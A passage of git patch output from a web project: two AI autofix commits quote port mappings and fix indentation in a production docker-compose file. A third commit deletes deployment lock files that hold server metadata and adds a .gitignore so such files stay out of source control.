Potential fix for pull request finding Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com> --- web/.stacker/deploy/production/docker-compose.remote.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/web/.stacker/deploy/production/docker-compose.remote.yml b/web/.stacker/deploy/production/docker-compose.remote.yml index ea19548..f9b6e17 100644 --- a/web/.stacker/deploy/production/docker-compose.remote.yml +++ b/web/.stacker/deploy/production/docker-compose.remote.yml @@ -6,9 +6,9 @@ services: image: trydirect/status-panel-web:latest container_name: status-panel-web ports: - - 3000:3000 + - "3000:3000" env_file: - - .env + - .env environment: NODE_ENV: production NEXT_PUBLIC_SITE_URL: https://status.stacker.my From 33fd0ff47edc1ab72f8c4970a6121cc781b90462 Mon Sep 17 00:00:00 2001 From: Vasili Pascal Date: Wed, 1 Jul 2026 19:01:54 +0300 Subject: [PATCH 22/23] Potential fix for pull request finding Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com> --- web/.stacker/deploy/production/docker-compose.remote.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/web/.stacker/deploy/production/docker-compose.remote.yml b/web/.stacker/deploy/production/docker-compose.remote.yml index f9b6e17..b80022d 100644 --- a/web/.stacker/deploy/production/docker-compose.remote.yml +++ b/web/.stacker/deploy/production/docker-compose.remote.yml @@ -16,10 +16,10 @@ services: smtp: image: trydirect/smtp ports: - - 1025:1025 - - 8025:8025 + - "1025:1025" + - "8025:8025" volumes: - - smtp_data:/data + - smtp_data:/data restart: unless-stopped volumes: smtp_data: From 9bf2df2080fd062645d4d80a84a0dfa6613bbaa5 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Wed, 1 Jul 2026 16:05:17 +0000 Subject: [PATCH 23/23] Remove deployment lock files and add .gitignore patterns Lock files contain environment-specific metadata (server IPs, email addresses) that should not be in source control. Added .gitignore to web/.stacker/ to prevent future commits of these files. --- web/.stacker/.gitignore | 4 ++++ web/.stacker/deployment-cloud.lock | 11 ----------- web/.stacker/deployment-cloud.lock.back | 11 ----------- web/.stacker/deployment-local.lock | 11 ----------- 4 files changed, 4 insertions(+), 33 deletions(-) create mode 100644 web/.stacker/.gitignore delete mode 100644 web/.stacker/deployment-cloud.lock delete mode 100644 web/.stacker/deployment-cloud.lock.back delete mode 100644 web/.stacker/deployment-local.lock diff --git a/web/.stacker/.gitignore b/web/.stacker/.gitignore new file mode 100644 index 0000000..9643030 --- /dev/null +++ b/web/.stacker/.gitignore @@ -0,0 +1,4 @@ +# Deployment lock files contain environment-specific metadata (server IPs, emails, etc.) +# and should not be committed to source control +deployment-*.lock +deployment-*.lock.back diff --git a/web/.stacker/deployment-cloud.lock b/web/.stacker/deployment-cloud.lock deleted file mode 100644 index f9d1aa2..0000000 --- a/web/.stacker/deployment-cloud.lock +++ /dev/null @@ -1,11 +0,0 @@ -target: cloud -server_ip: null -ssh_user: null -ssh_port: 22 -server_name: web-3584 -deployment_id: 211 -project_id: 90 -cloud_id: 5 -project_name: web -stacker_email: info@optimum-web.com -deployed_at: 2026-05-25T14:54:33.996513+00:00 diff --git a/web/.stacker/deployment-cloud.lock.back b/web/.stacker/deployment-cloud.lock.back deleted file mode 100644 index 147f7cc..0000000 --- a/web/.stacker/deployment-cloud.lock.back +++ /dev/null @@ -1,11 +0,0 @@ -target: cloud -server_ip: 178.105.162.176 -ssh_user: null -ssh_port: 22 -server_name: web-5e64 -deployment_id: 189 -project_id: 90 -cloud_id: 5 -project_name: web -stacker_email: info@optimum-web.com -deployed_at: 2026-05-20T10:11:51.770234+00:00 diff --git a/web/.stacker/deployment-local.lock b/web/.stacker/deployment-local.lock deleted file mode 100644 index c71662c..0000000 --- a/web/.stacker/deployment-local.lock +++ /dev/null @@ -1,11 +0,0 @@ -target: local -server_ip: 127.0.0.1 -ssh_user: null -ssh_port: null -server_name: null -deployment_id: null -project_id: null -cloud_id: null -project_name: null -stacker_email: null -deployed_at: 2026-05-21T17:19:08.163467+00:00